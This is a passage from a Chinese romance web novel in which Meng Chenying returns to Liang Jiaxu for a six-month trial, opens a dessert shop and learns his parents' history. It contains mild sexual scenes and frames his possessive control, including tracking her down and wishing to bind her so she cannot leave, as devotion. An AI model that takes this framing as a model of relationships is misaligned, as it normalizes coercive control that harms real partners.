孟尘萦断断续续的声线,从两人交缠的唇间溢出来,被他咽了下去。 “梁嘉序……” 梁嘉序将她翻了个身,吻住她的蝴蝶骨:“叫我什么?” 孟尘萦骨头酥酥麻麻的,几乎要化了。 被他诱了半晌,艰难地喊了出来:“阿序……” 空气逐渐潮湿。 梁嘉序不轻不重揉着她,低声问:“阿序是你的谁?” 孟尘萦羞耻到扯着沙发上的抱枕,双腿一扑腾,又被他按下去,顿了半晌才说:“男,男朋友。” 梁嘉序的吻挪到她耳畔,气息丝丝缕缕钻了进来:“孟尘萦是梁嘉序的谁?” “女朋友……” 梁嘉序眸里的黑更浓,轻柔的叹息跟着吻贴上她的耳垂:“还是爱人。” “一生挚爱。” 第63章 第 63 章 亲个够。 落地京市的那瞬间, 孟尘萦心里才真正有种踏实的感觉。 车子一路朝着她熟悉的方向行驶。 那是前往璟兰园的路线。 她这次回来,心情倒没上一次被梁嘉序抓回来那会沉重。 细细算来,她和梁嘉序拉拉扯扯将近两年了, 期间她跑了两次,国内国外藏得那么隐蔽都能被他找到,对他的执着, 对他的偏执,她也无可奈何。 也是想通了, 她想试着给自己一个机会,不要总是逃避, 也试着不再那样抱着偏见去看待梁嘉序, 想尝试跟他好好相处一次。 如果这半年里,她觉得自己还是无法爱上他。 那他们将彻底没任何可能。 沿途的风吹得孟尘萦昏昏欲睡。 她靠着车门, 眼皮越来越沉,直到有双手臂将她捞到怀里, 她微睁着一条缝隙, 模糊间看到梁嘉序精致的下颌。 他抱着她, 拂开黏在她唇角的长发。 动作很轻柔缓慢,像生怕吵醒了她。 孟尘萦在他无比温柔的动作下, 那点困意彻底抵挡不住, 就这样在他怀里睡了去。 等再睁眼醒来。 她的眼前正蹲着三只, 养得很肥嫩的猫猫。 孟尘萦茫然望着这六只眼睛,愣了好一会儿才坐起身。 “草莓,曲奇,麦芽糖!” 她眼眶含泪,轻轻喊了一声。 三只猫猫嗖地一下,全部都扑到她怀里。 过重的体重, 一下把孟尘萦压得不轻。她咳了几声,有点被这沉重的思念压得喘不过气,直到梁嘉序解救了她。 他把其中两只最肥的猫抱起来拨开。 几只猫在闹腾,客厅内吵得也厉害。 孟尘萦没忍住笑出声,缓过来气,便又抓着三只猫就疯了似的撸。 她跪坐在沙发上,腰身弯着,以扑倒的姿势抱住三只猫,夹着嗓音好一阵揉啊揉:“好想你们啊!” 一年多没见了。 三只猫胡乱挣扎,闹了一番,她身上的汗都被折腾出来了。 “你们怎么长这么胖啦?” 全程在旁静静看戏的梁嘉序,幽幽开口:“思念肥,听说过没?” 孟尘萦一愣,笑得眼睛都弯了:“肯定是你家佣人太宠它们了,吃太胖不好,今天开始必须减肥!” 三只猫像是听懂了,一阵喵喵哀嚎。 孟尘萦立刻就有点心软,“那,吃饱了再减肥也行……” 她对猫猫真的半点抵抗力都没有,听它们哀叫几声就心软得一塌糊涂。 但一年半没回来,璟兰园还是半点都没改变。 跟猫猫的叙旧过后,梁嘉序吩咐厨房去准备饭菜,他站起身,把孟尘萦抱回了二楼。 再次回到他们的房间。 是她曾经觉得最熟悉,也最恐惧的房间。 孟尘萦面色不显,揪着梁嘉序臂膀的手指不知觉收紧。 她垂着眸,没说话。 但轻颤的眼睫毛已经暴露了,她还在恐惧的事实。 梁嘉序没急着把她抱回卧室,只是站在门口。 不像以往那样强势恶劣没有半分退让的可能,而是强势中带着他独有的温柔。 “别怕,我只是想带你回卧室休息。” 孟尘萦缓缓抬眸,对上他视线。 他低眼,眉目清俊:“那是我们的卧室。” 孟尘萦说:“不,那是你的卧室。” 璟兰园只是他的地盘。 梁嘉序:“那我现在叫律师过来。” “干嘛?” “把我名下的房产过给你,璟兰园也送给你。” 孟尘萦懵懵道:“你在说什么呀……” 梁嘉序黑眸衔着笑,继续说:“你要是不喜欢这儿,我可以再另外给你置办一座。” 分不清他说真的还是说笑,孟尘萦一下慌了,她不喜欢要别人的东西,连忙说:“别了,真的不用。” 况且她也不知道半年后,她和梁嘉序的关系还能不能进行下去,拿了他的东西,她良心上过不去,以后要真想走,也没办法走得那般潇洒。 细细凝到她脸色总算没那么恐惧后,梁嘉序问她:“进屋?” 孟尘萦迟疑了一秒,点头。 他抱着她进去,把人放床上,自己去把灯点亮。 “你先睡觉休息会儿,晚点儿喊你起床吃饭。” 孟尘萦倦意来袭,嗯了声:“那我去洗个澡。” 梁嘉序给她找了她从前穿的睡裙和贴身衣物,她正要落地去拿,就看到他手指从柜子里勾出一条内裤,似正在琢磨要不要换一条别的款式。 孟尘萦脸一红,扑过去把内裤抢在怀里不给他看。 “我自己来就好了。” 梁嘉序眉梢微挑,“紧张什么,又不是没帮你穿过。” 孟尘萦不想理他,抱着贴身衣服就溜进了浴室。 匆忙逃跑的背影,微红的耳廓藏在乌发内,等进了浴室,她才缓平了呼吸。 梁嘉序这人,他好像完全不记得他们那个半年的约定,复合后他的状态恢复的极其好,像是他们之间,从没有缺少那一年半。 还是说,他很自信,觉得这半年时间可以让她轻松爱上他。 算了,想不明白这人,干脆不想了。 美美得泡了个热水澡,孟尘萦回卧室睡觉,在即将入睡时,感觉身侧陷了下去,她又被一股熟悉的感觉抱入怀里。 还是以往那样,缠得很紧。 紧到呼吸在交缠,紧到他身上所有的部位,她都能清晰感应。 但她太困了,实在没力气挣脱。 醒来就直接到了晚上,楼下准备好了饭菜,久违的吃到自己喜欢的中餐,孟尘萦胃口大开。 梁嘉序给她舀了碗汤,问她接下来什么打算。 她咽下嘴里一口肉,想了想说:“我有点存款了,我想自己开一家店。” 梁嘉序视线追着她:“我给你开的那家店不要了?” 孟尘萦听不出他语气什么意思,摇头说那不是我的,“我想靠自己的能力开一家。” 梁嘉序默了片刻:“这一年半,那家店挣了不少钱,全打你卡上了,回来后你还是要用回原来的联系方式和银行卡。” 孟尘萦想拒绝,但他眼里那意思,想必是那家店的收入她必须收下。 毕竟就是为了她开的。 没关系,她想,反正她目前这点小积蓄还是可以自己租一个店面的。 梁嘉序似乎心情不错,重伤住院许久的气色也养好了许多:“你想用自己的钱开店可以,但总不能让你男人什么都不做?” 孟尘萦没再那么抵抗,问他:“那你想做什么?” 梁嘉序:“我找人给你看一家最合适你的店面。” 孟尘萦正要说什么,他便道:“放心,不会开在商场,会选择一家最合适你的。” 他知道,她不太喜欢商场的风格,不仅竞争大,装修风格要高级有格调,而且因为开在商场里规矩也很多,她嫌烦,她更想自己当个小老板,自在点儿。 开店的事宜这样定下,吃过饭,梁嘉序便给自己助理打了几个电话。 听通话内容,讲的是他公司的业务,还提了给她开店的事。 孟尘萦抱着猫猫,闲来没事打量客厅环境,视线最后又落在梁嘉序身上。 他今晚少见的穿了件白衬衫。 衣衫打理得很整洁,领口略微松开,露出了冷白锁骨,他站在落地窗前,右手握着手机,衣袖轻挽,那截劲瘦的小臂青筋脉络凸显。 与平时的黑色比起来,白衬衫的梁嘉序有种禁欲的斯文败类既视感。 他好像真的为她变了很多。 换做以前,关于开店的事,他绝对会单方面就给她下了决定,不会听她意见,也不会让她用自己的钱。 会尊重她的意见,这样的梁嘉序让她觉得没以前那么可怕了- 隔几天就有人带孟尘萦去看店面,是梁嘉序派来专门处理她开店的助理。 他自个儿倒没跟过来。 听说是他请假太久,才刚回国,公司有不少的工作等他处理。 下午助理带孟尘萦去了市中心的西口街。 助理带孟尘萦去了一家空出来的店铺,“孟小姐,这家原先就是开面包店的,那老板上个月回了趟老家打算长期在老家发展,店也空出来不久,我从梁先生那得知了您的需求,就立刻想到了这家店面,各方面都很符合您的要求。” 孟尘萦问他:“这是梁嘉序给我买下来的店吗?” 那助理脸上尴尬一闪而过,三连否认:“真不是,没有的事,您别这样想。” 孟尘萦心里顿时有数,没再追问了,跟着这助理在店里扫了一圈。 整家店装修得都符合她要求。 这条街也不像商场那么高级,大多都是学生党或者上班族爱逛的街道,地段尤其好,这么好的店怎么可能留一个月?只能说明,梁嘉序早就替她相好了。这就是他特地买下来给她的。 她早就该知道他这方面的性子改不了。 想了想,租哪家店铺不是租,也没再纠结这事。 店面的事很快敲板子订下,剩下装修,器材还有人工,这助理说都有他来搞定。 孟尘萦就负责等店开业后,把自己亲手制作的甜品摆上来出售就好。 约莫傍晚,梁嘉序忙完来接她。 上了车,他把孟尘萦捞怀里问她对店的想法。 孟尘萦问他:“那店是你买下来的吧?” 梁嘉序低声笑:“就知道瞒不住你。” 孟尘萦心里有点无奈。 这人,好像一半改好了,一半还是本性。 随后她又想到他自己说的,要是全改了还是梁嘉序么?算了,也不是什么值得她不开心的事。 孟尘萦许久没说话,梁嘉序以为她生气了。 “别抗拒我。” 梁嘉序低下脸,吻她唇角:“我总很想为你多做些什么,你不要我的钱,不要我给你开的店,连这点儿小事也不让我做么?” “不然,” 他凝着她眸,似笑非笑:“男朋友要来干什么?” 孟尘萦默不吭声,思绪还停留在他那句别抗拒我上面。 梁嘉序眸色勾着她,压低声音笑:“只上床啊?” “那不是炮.友?” 孟尘萦脸顿热,把脸往里缩,嗅着他身上的冷冽木质香味,嘀咕道:“我没说什么啊,你就给我扣帽子。” 车子缓慢行驶中。 梁嘉序把她脸抬起来,缠绵地靠近,呼吸拂面:“孟尘萦,你要试着爱我,试着学习接受我对你的好。” 孟尘萦咽下他的呼吸,眼里凝了一层水汽,面对他的进攻,她下意识想要后退。 但整个人被他抱在怀里,早就退无可退。 梁嘉序吮着她舌尖,说出来的话,直接从她喉咙里钻进去,麻得她尾椎缩了下。 “两个人在一起,除了肉.体的亲密,也是心灵朝彼此靠近,别忘了,这句话是你告诉我的。” 孟尘萦一愣,很快她又想了起来。 大概是刚在京市见到梁嘉序那会,他采用了些不道德的手段追她,说了不少让她难以接受的话。 她当时有用这句话反驳他。 ——感情是两个人互相喜欢心灵朝彼此靠近。 她那时生气下随口说的一句话,过去那么久了,他竟然都记得。 见她怔神,睁着眼睛动也不动,显得有些呆滞的可爱。 梁嘉序再度含住她的唇瓣,舌熟稔的探进去。 孟尘萦身体又条件反射紧绷,他便一点点用手背轻抚她的背,让她放松。 吻到她发软,吻到让她来了感觉,让她彻底适应他的味道和力道。 呼吸逐渐带了喘,孟尘萦艰难避开这个绵长的吻,喊了停。 声音细小,脸庞粉润,提醒他:“还在车上……” 梁嘉序不紧不慢问:“意思是回去可以?” 她耳垂通红,现在她气息里都是他的味道,禁不住又气又恼,她怎么这么轻易就给他蛊惑到了? 刚才梁嘉序是在色.诱吧? 是的。 而且她有点没出息地险些上当。 人还在追吻着,一点点啄她红肿的唇,黏过来的声音都含着钩子:“回去是另外的份,这儿也要亲个爽。” 孟尘萦仰着细长的脖,感觉自己现在化身成一只小猫,被他吻到手掌都要开花了。 她缩着脖子:“别了,回去回去行么?” “回去干什么?”他呼吸微沉。 孟尘萦闭了闭眼,索性豁出去:“回去让你亲个够。” “亲哪儿都行?” “嗯……” “为什么?” 孟尘萦不解,还能为什么,不是他一直讨着要? 梁嘉序很有耐心,继续诱惑她:“为什么呢,萦萦,你告诉我。” 孟尘萦脑子转了半晌,总算明白他刚才那些行为是为了什么。 迟疑了片刻,她还是埋在他怀里,小声挤出一句:“因为,孟尘萦是梁嘉序的……爱人。” 这是他这几天调.教出来的。 他就爱听这话。 还说多说这种话,有助力她加快爱上他……她都不觉得这种话能起到个什么作用,但她说不过梁嘉序。 想到既然已经想跟他好好相处了,也没必要弄得跟仇人似的,情侣间该怎样还是得怎样。 这句话果真让梁嘉序爽了,又压着她亲了许久才放开。 什么时候,这句话能改成,梁嘉序是孟尘萦的爱人。 他想,他可以等到的。 半年时间,他可以慢慢来- 店面开业那天来了很多顾客。 忙过了后,有个店员来喊孟尘萦,说外面有位尊贵的女士要见她。 孟尘萦解掉围裙,从烘焙室出来。 江静娴正闲散坐在靠窗的位置,此时慢条斯理品尝碟子上的提拉米苏,有个女学生见她吃相很优雅,便主动问她吃的是哪一款。 江静娴心情很好告诉了她,还说:“多带点同学来光顾哦,新店刚开业有打折,这家甜品大多都是我儿媳妇亲手做的,保准干净卫生,还实惠。” 女学生吃了安利,拉着几个朋友继续挑选。 等人都散了去,孟尘萦才过来喊了声江阿姨。 江静娴咽下最后一口提拉米苏,笑盈盈道:“小孟,阿姨才听说你开店的事,这就迫不及待回国见你一面。” “也有些话想亲自跟你说。” 第64章 第 64 章 这回换你欺负我 孟尘萦说好, 但要先给她煮杯咖啡招待,江静娴摆摆手让她歇一会儿,“阿姨来这儿是想找你玩, 咖啡就先不喝了,下回吧。” 两人在最角落的窗边坐下。 江静娴问:“在你开业这天过来,是不是打扰你了?” 孟尘萦说没有, 店里有人帮忙。 小姑娘笑容温浅,说话也轻声细语的, 如同初见,眼神里的倔强和破碎感仍是那么吸引人。 但这一年多在国外的生活, 她似乎沉淀了许多, 眼神比一年前更坚定了。 江静娴静静打量她,唇角含笑:“一年多没见, 小孟好像出落得更漂亮了,刚才那份提拉米苏是阿姨第一次吃你做的甜品, 很棒。” 孟尘萦笑着说谢谢, 又补了一句:“阿姨也更年轻了。” 江静娴眉梢一挑:“商业互吹结束了, 阿姨能敞开跟小孟好好聊一聊了?” 孟尘萦微愣,看到她微挑的眉眼, 自信张扬的笑容, 本来心里的那股拘谨, 也的确在江静娴这句话里悄然化解。 “阿姨尽管说。” 阳光通过玻璃照了进来,江静娴半边面容打了一层薄薄的金光,她坐姿很松弛,像与多年好友闲聊的口吻说:“这一年多,阿姨不止没见过你,还没见过我的儿子。” 孟尘萦有些讶异:“为什么呢?” “他在怨我把你藏了起来。”江静娴笑了笑, 无奈摇头:“除了你之外,阿序不肯为任何人低头,其实他心里很清楚,他只要稍微向我示软,我绝对会不忍心让他这样千辛万苦全世界到处去找你……” “毕竟,他是我的孩子。” 孟尘萦瞳仁收缩一瞬,她忽然不知道该怎么接话。 身为一个母亲,愿意为了外人去伤害自己的孩子,江静娴肯做下这个决定,应该是有自己的原因,但是为什么呢?其实这也一直是孟尘萦不太理解的地方。 “阿姨过来是想亲自问你,你这次回来,是自愿的吗?” 孟尘萦顿了会,说是的,考虑到江静娴也帮过她一把,便把自己和梁嘉序六个月约定的事告诉了她。 江静娴的脸上少见的,露出了呆滞疑惑又顿悟的神情,她没忍住笑了起来:“搞不懂你们年轻人,可真会玩。” 孟尘萦脸一热,笑笑不语。 “不过你爸爸那边倒是很不开心,他得知你跟阿序回来了,有点闹脾气,你陈阿姨说他最近工作太忙没办法回国,可能要过一段时间会回国见阿序一面。这事儿你记得跟阿序说,老丈人那边还是得哄一哄的,让他别见到人就拉着一张脸。” 孟尘萦笑着说会的。 江静娴意味深长望着她:“现在店里不忙,小孟愿意听阿姨讲一讲阿序父母的故事吗?” “故事听完,你大概会知道阿姨为什么宁愿伤害自己儿子,也要把你送走了。” 孟尘萦心中微动:“愿意。”- 梁江两家是多年世交,江静娴与梁承年也自幼相识,称得上是青梅竹马两小无猜。 但他们与大多数话本里的青梅竹马,水到渠成的相爱走向不同。 在江静娴十二岁那一年,她的父母收养了一位失去父母的孤儿。 那孤儿叫宋澈。 后来她和梁承年之间,便多了一个玩伴。 三人里,江静娴是最小的妹妹,宋澈年龄大江静娴一岁,与梁承年同年。 即使是玩伴也有情分深浅之分,江静娴跟梁承年从出生便相识,她认为跟梁承年情分更深厚,所以小时候她无论什么秘密都会分享给梁承年。 就连长大了后,她也将自己少女情事的秘密,第一个告诉了梁承年。 她跟梁承年说,她喜欢宋澈。 她还说,等十八岁那天,一定要跟宋澈表白。 江静娴喜欢宋澈,从那以后,便日日盼着十八岁来临。 可她没想到的是,与她日夜盼的那天一同来临的,不只是她作为成年人的重要日子。 还有父母没问过她的意见,与梁家定下了她和梁承年的婚事噩耗。 梁江两家联姻的事就这样订下。 几十年前的父母之命,媒妁之言与现在的环境不同,那时江静娴根本反抗不了长辈。 她哭着去拜托梁承年跟长辈提出取消这门婚事。 梁承年答应了。 他很努力,奈何还是忤逆不了家中长辈。 长辈将家族利益搬了出来,江静娴就知道没有任何回旋的余地。 后来,江静娴抱着遗憾嫁给了梁承年,在她和梁承年结婚的那一天,宋澈出国了。 从那以后,多年没回过祖国。 也失去了联系。 她对宋澈的爱意,也只能悄悄种在心里。 江静娴和梁承年婚后,很快就有了梁嘉序。 也是因为这个孩子,江静娴才真正试着放下宋澈,想跟梁承年好好在一起。 婚后他们也曾甜蜜过,幸福过。 可直到在十年前。 江静娴发现了一件,让她永远都无法原谅梁承年的事。 她在家中整理旧物,意外发现了宋澈在二十年前留给她的一封信。 看过内容她才得知,原来宋澈也喜欢她,他在信中说在老地方等她,只要她来见他,他愿意带她离开。 信中约定的日期,正是她嫁给梁承年那一天。 可是江静娴并没有收到这封信。 晚上她拿这封信质问梁承年,因为瞒不住了,他才坦然承认。 是他把这封信拦截了下来。 是他故意让他们这样错过。 也是他,强行把宋澈送出国。 江静娴从回忆里抽回思绪,语气冷淡:“比起错过了几十年,更打击我的,其实是另一件事。” 孟尘萦恍惚道:“是什么……” 江静娴说:“宋澈在被梁承年强行送出国之后,他在国外就因为意外在海里溺死了。而他死亡的消息,梁承年隐瞒了我二十多年。” 孟尘萦被这件事惊到都楞了会儿:“可是,这是怎么隐瞒的?” 宋澈是被送出国了,但不代表跟江家,不代表跟国内所有的人断联了啊。 死亡这么严重的事,怎么能一点风声都透不出来。 江静娴眸色一沉:“他的手段,可谓是丧心病狂。” “你信有人会为了一个谎言,而进行长达二十年的伪装吗?” 孟尘萦不解。 江静娴:“梁承年的眉眼在暗处看跟宋澈有八分相似,他俩身形身高也差不多,那二十年,梁承年一直把自己伪装成宋澈,每隔一个月,他会发一张自己在别的国家旅游的照片寄给我父母报备自己在国外的情况,但每一张照片从来没有正脸,多年来只有暗处的眉眼和远处的背影,我们一家人就是这样被骗了二十多年。” “我……” 江静娴眼眶微红,微提唇角:“我就这样被梁承年欺骗了二十年,所有都被蒙在鼓里,他为了隐瞒宋澈的死,甘愿当了二十多年的替身。” 宋澈在国外意外去世,最主要的原因也是梁承年强行把他送出国,让他跟国内的人断联导致。 梁承年就是间接害死宋澈的凶手。 他还骗了她二十多年,她怎么能忍? 后来江静娴也得知了所有所有的真相。 她和梁承年的婚约也是他自己想办法争取来的,而他也从没有像答应她的那样,去想办法跟长辈提出解除婚约的事。 从没有。 甚至还提出要尽快举行婚礼。 他承认了。 从他得知她喜欢宋澈开始,梁承年就已经在计划拆散他们。 孟尘萦被来龙去脉震撼到久久无言,她微微张着嘴巴,片刻才记起来阖上。 见孟尘萦脸色不太好,江静娴道: “阿姨跟你说这事儿没别的意思,只是憋心里太久,今天跟你说出来后反而好受了点儿。” 孟尘萦垂眸,手指收拢,又抬眼问:“这事,梁嘉序知道吗?” 江静娴一笑:“知道。” “事情揭发的时候,他已经有十几岁了。对于父母之间的事,他不会插手,属于谁也不站。” 孟尘萦默默无言。 江静娴说:“阿序是他亲生儿子,只会有过之,而无不及。” 孟尘萦忽然觉得浑身发冷,怔神间,她的视线里,忽然闯入一道挺拔的身影。 随着走近,男人面容愈发清晰。 是梁嘉序。 因为梁嘉序的到来,两人的话题这才中断。 母子俩也一年多没见,梁嘉序并没有甩什么脸色,反而心情很好地主动喊了声:“妈,您特地回国见儿媳妇啊?” 江静娴转过身,还是那副潇洒的坐姿:“怎么着,怕我又把小孟给拐跑了?” 梁嘉序直接坐到孟尘萦身边,搂着她腰,眉目张扬:“这次你没办法了。” 他不会在同一个地方栽倒两次跟头。 江静娴撇撇嘴:“懒得说你,既然和好了你们就好好交往,别再折腾人小孟了。” 江静娴拿起桌上的墨镜戴上,笑道:“行了,小孟你忙,阿姨晚点儿还有别的应酬,先走了。” 孟尘萦隔着窗,目送江静娴出门上了车。 直到感觉有道幽幽目光停留在她脸上许久,孟尘萦才撇过脸看他:“干什么?” 梁嘉序手搭在她椅背上,勾着唇笑:“跟我妈又在密谋什么呢?孟尘萦,你可是个好女孩,好女孩不能一而再再而三欺骗人。” 孟尘萦一噎:“我哪里又欺骗你了。” “当然,如果你再敢欺负我,我可不会那么傻,还真等半年的期限。” 她故意说这话,是想试探他反应。 梁嘉序贴过来,眼神波浪汹涌含住她:“这回换你欺负我,行么?” “你想怎么欺负都成。” “还记得那件事么?” 孟尘萦一脸茫然:“什么事啊?” 梁嘉序压低声,眉目含情:“我们第一次睡了后,把你弄成了那样,后来我答应你什么?换我哪天生病被你欺负。” 孟尘萦皱眉:“那你生病了?” 梁嘉序捉住她手腕按在自己额头:“你摸摸。” 孟尘萦本来不想摸,但已经被捉到了,只能不情不愿碰了下,没想到还真是烫的。 “真的发烧了?” 她迟疑着,视线看向他腹部,“是,是伤口复发恶化了么?” 他住院那会,就因为伤口恶化,也发高烧过一阵子,那时候病的尤其严重,但现在都出院了,应该也不至于…… 梁嘉序说不知道,没去医院看。 见他那副无所谓的态度,孟尘萦看不过去了,强行把他拉起来,“现在跟我去医院。” 他眼尾衔着薄红:“干嘛?不回家欺负我?” 孟尘萦正色道:“梁嘉序,你能不能对自己身体有点责任心呢?” 梁嘉序被她拉起身。 这挺拔的身高,也能被她轻飘飘拉起来,除了他配合,没别的可能。 他半俱身子贴在她怀里,勾着笑意问:“你这是在心疼我?” “孟尘萦,心疼就是喜欢的开始。” 孟尘萦很直白道:“还没有喜欢,而且你身上这伤也是因为我。” 他追问:“那还差多少?” “不知道,这个东西又没专门计算的,我怎么知道啊?” 梁嘉序呼吸有点重:“晚点再去医院。” “为什么?” “拖得更严重了,让你更心疼点儿。” “……” 孟尘萦被他堵得哑口无言。 梁嘉序这人,目的总是直接坦荡,他现在的目标就是想勾得她真心实意喜欢上他,为了这个目的,无所不用其极。 她甚至怀疑,这次发烧,莫不是他昨晚自己洗了一整晚冷水澡。 第65章 第 65 章 “那再尝尝。”…… 晚上从医院回到璟兰园, 进了屋,梁嘉序直接拉着孟尘萦躺下,声线沙哑懒洋洋:“闹了一遭, 总算到家,可以欺负我了?” 孟尘萦挣扎坐起身,“梁嘉序, 你都快烧到40度了知道吗?” “嗯。”他耷拉着眼皮,眼神仍勾着她在笑:“知道, 这不是听你的话,在医院打了吊水才回来的?” 他把手臂抬起, “针眼还在这儿。” “有点儿疼。” 孟尘萦一下怔住。 在维利斯特被捅两刀都没听见他喊一次疼, 打个针倒是忽然哼哼唧唧说疼了。 她顿了顿,语气不自觉地放轻:“别闹了, 医生说要你好好休息,你回卧室再睡吧。” 梁嘉序眼尾微提, 盯着女孩担忧的面容, 没忍住轻笑起来:“真信了?” “啊?”孟尘萦后知后觉, “你骗我?” 他不紧不慢坐起身,把人抱在自己怀里, 下巴贴在她颈窝:“疼啊, 是脑袋很疼。” 孟尘萦仍由他抱着没动, 又看了眼他手背的针眼,想起医生的叮嘱:“头疼是生病的原因,你应该好好休息。” “嗯,在休息。” 她垂眸扫去,身前的男人已经阖上眼,半梦半醒的状态。 他这会儿都病成这样了, 竟还能把她抱这么紧坐着睡?况且身子也实在烫得很,浑身硬.邦.邦的,这种又硬又烫的身体,贴这么紧委实难受。 孟尘萦把他推开,“回卧室吧。” 她拉着人上楼,把从医院带来的药都放床头柜。 回卧室后梁嘉序倒是没闹了,大抵是真病的很难受,挨到床便直接躺下,孟尘萦给他贴了退热贴,便没再管。 屋内静悄悄的。 梁嘉序很少有如此安静。 原来连他这样的人,发高烧后也会变得很乖。 孟尘萦从浴室洗漱出来,站在床边看了会儿,见他脸色好转了点,便想着今晚去隔壁房间睡,不吵他。 想了想,又把明早他要吃的药摆在床头柜,剩下的那些都放进抽屉里。 她拉开最后一层的抽屉,却一下被里面的东西惊到了。 里边的瓶瓶罐罐大概有十几个。 她蹲下,借着微弱的床头灯认真辨别药物的作用,其中有几瓶是安眠药和褪黑素,剩下的几乎都是她看不太懂的学名。 孟尘萦用搜索引擎查了后。 确定了心中的猜测- 第一缕晨曦透过窗帘缝隙挤进室内,孟尘萦在被窝里翻了个身,很快又被捞进一俱温热的怀抱里。 起先她没多管,继续补瞌睡,直到约莫十几分钟后,才意识到不对劲。 她昨晚明明是在隔壁屋睡的。 醒来怎么会和梁嘉序躺在一张床上? 孟尘萦在他怀里扬起脸往上看,从凸起的喉结,再到下巴,再往上,便能看到与这张冷峻的面容格格不入的退热贴。 孟尘萦:“你怎么来这屋睡了?” 梁嘉序没睁眼,低低嗯了声:“醒来没瞧见人,还以为又跑了。” 孟尘萦:“……” 他把脸埋到她颈窝,“原来是嫌我,到隔壁去睡了。” “你生病了应该好好休息,我不想打扰你。” 他该不会又要惩罚她了? 孟尘萦忽然有点不好的预感,她跟梁嘉序现在的相处,虽说都在按照正常情侣方面进展,但曾经有过那样一段,梁嘉序在她心里留下的阴影是没办法那么快消去。 按照以往,醒来没看见她,他大概已经很生气了。 孟尘萦沉默不语。 心里已经在反复预演他的反应。 但怀里的男人还埋在她身上,懒洋洋地说:“那也要跟我说一声。” “嗯?” 梁嘉序掀起眼帘,眼底并没困意:“去哪儿都可以,但都该跟我提前说一声。” 醒来看不到她的那瞬间,平白生出一种窒息感来,险些让他透不过气。 那一刻,他忽然很后悔,为什么要跟她签订这种约定,他就该把人捆在自己身边,这样她才永远跑不了。 孟尘萦对上他乌沉的眸子,他看似语气很平淡在说一句寻常的话,但她却觉得像是暴风雨前的平静般,无由来的让她心慌。 她心里咯噔一跳,嗯了声:“下次会跟你说的。” 孟尘萦把手背探到他额头,摸着温度是正常,正要说应当是退烧了。 这时,眼前忽然一阵黑压了来。 孟尘萦猝不及防,被翻了个身,压在梁嘉序的身上。 她挣扎着要起来,他的手已经捧着她脸颊,唇贴了过来。 再松开时,孟尘萦气息已经很乱。 他额角抵着她,声线嘶哑:“烫么?” 孟尘萦被他弄得神色迷乱:“烫……” “那就是还没退烧。”他翻了个身,把人覆怀里,“还有机会欺负我。” 孟尘萦手指发软,按在他肩头:“现在是早上八点……” 梁嘉序喉结滚了滚:“也用不着点灯了,更方便你发挥不是?” 孟尘萦飘忽的意识迅速归拢,不满道:“梁嘉序,你怎么这样啊……” 病去如抽丝,高烧就算退了身体也不应该恢复得这么快,他却半点都不像昨天发了快40度的高烧…… 梁嘉序眼尾那抹薄红更深,勾着笑:“我怎样,我在履行对你的承诺。” 孟尘萦:“……这个承诺,我压根就没同意。” 梁嘉序被她这幅又气又羞的样子,一下可爱到撞得心口软趴趴。 “孟尘萦,能欺负我的机会不多,你确定不珍惜?” 孟尘萦愠怒瞪他:“哪有人追着让欺负的,梁嘉序,你是烧糊涂了?” 梁嘉序含住她舌尖:“你尝尝我就知道了。” 气息交缠到空气升温。 感觉她呼吸不稳后,梁嘉序松开,捧着她脸问:“是烧糊涂了么?” 孟尘萦目光迷离,点头嗯了声。 梁嘉序眉梢微扬:“那再尝尝。” 如此反复几遭。 孟尘萦彻底投降,“烧糊涂的是我。” 她不该跟梁嘉序这种没皮没脸,耐力又极其好的人抬杠。 连续吻了好久,孟尘萦都身子热乎了,梁嘉序似乎也来了精神。 他眼底神色却忽然一变。 又是极俱侵略性的,将孟尘萦再次裹挟,修长的手指扣上她后颈。 孟尘萦一慌。 她的后脖颈再次被他掌控,熟悉的占有她的手势,以及让她害怕,且难以招架的眼神。 氛围仍是暧.昧潮湿的,但孟尘萦却自己渐渐将要沉入冰点。 扣着她后脖颈的手指一点点收紧。 梁嘉序握住她,将她送到自己面前,自己却先一步,将脸埋在她颈窝处。 气息稳稳洒落,黏在她肉里。 “时间过得真快,你已经回来我身边两个月了。” 孟尘萦眼睫微颤,本来有点恐惧到紧绷的精神,竟奇妙的,因为他这句话瞬间化解。 她和他的约定,就剩四个月了。 目前她心里是什么想法,实则她也不太清楚。 这次跟梁嘉序回来后,她能感觉到自己心里产生了微妙的变化。 她偶尔会觉得自己像经历过一场龙卷风,世界被他搅得乱糟糟,但她独自整理半天也整理不好,索性就搁一旁,没再管。 实则她倒没有特地计算着日子。 意外的是,她一直以为梁嘉序对这半年很自信,毕竟她从没见他主动提过一次。 但今天却从他紧实的口风里,窥探出一些对于时间流逝的遗憾,和只剩下四个月的慌张不安。 两人都许久没有说话。 很多时候他们的相处也不需要语言来交流,他最会的便是从外在的因素,一点点磨她的性子。 他在勾她的身体。 似乎想要她的身体先离不开他。 至于旁的,他也只能先搁着不管- 新店开业头几天有折扣,因为价格优惠口味又好的缘故,吸引了不少大学生来光顾。 能在学生圈赢得口碑,自然会吸引更多的顾客。 孟尘萦这阵子因忙碌店铺的事,好几个白天都没时间和梁嘉序见面。 实际上梁嘉序的工作比她还忙,但每晚都有时间来西口街这边来接她回璟兰园。 中午,孟尘萦跟虞南星还有钱晓语约好去吃烤肉,她刚从店里出来,有司机过来接她。 孟尘萦正要开门进去,抬眸间,不经意在对面马路的那辆奔驰旁,看到了熟悉的人影。 是周初皓? 她坐进车里,从车窗的方向望去,定睛看了片刻,确定没看错人。 周初皓刚从副驾驶下来,正弯腰跟车内人说话。 没记错的话,梁嘉序早就使用手段把周初皓调离京市了,他怎么忽然又回来了? 难道…… 难道是梁嘉序故意把周初皓调回京市,又打算拿来试探她? 带着这种解不开的疑惑,孟尘萦赶到了约定好的烧烤店。 孟尘萦回国有一阵子了,因为忙着开店的事,一直没机会和虞南星和钱晓语团聚。 除此之外,还有个原因,现在虞南星比她还要忙,要聚会的话必须提前约。 这一年多,两人变化都很大的。 虞南星成功进入娱乐圈,现在也是个二三线的女明星,在很多热门项目里可以捞到个女二女三的角色出演,钱晓语则是在公司升了职,感情方面也最先稳定下来。 “要结婚了?” 孟尘萦吃惊问。 钱晓语把手中的戒指摊开给姐妹们看,“上周他求婚了,今年暑假我们大概就要办婚礼。” “到时候你们俩可一定要来啊。” 孟尘萦笑道:“晓语,恭喜你啊,放心,你请我我肯定会去的。” 钱晓语撒娇道:“萦萦和南星都要做我伴娘。” 虞南星边拿镊子夹着烤肉,边脸皱着说:“我尽量吧,主要是半年后我也不知道有什么行程,你要请我必须把日子提前通知我,我好排个日期。” 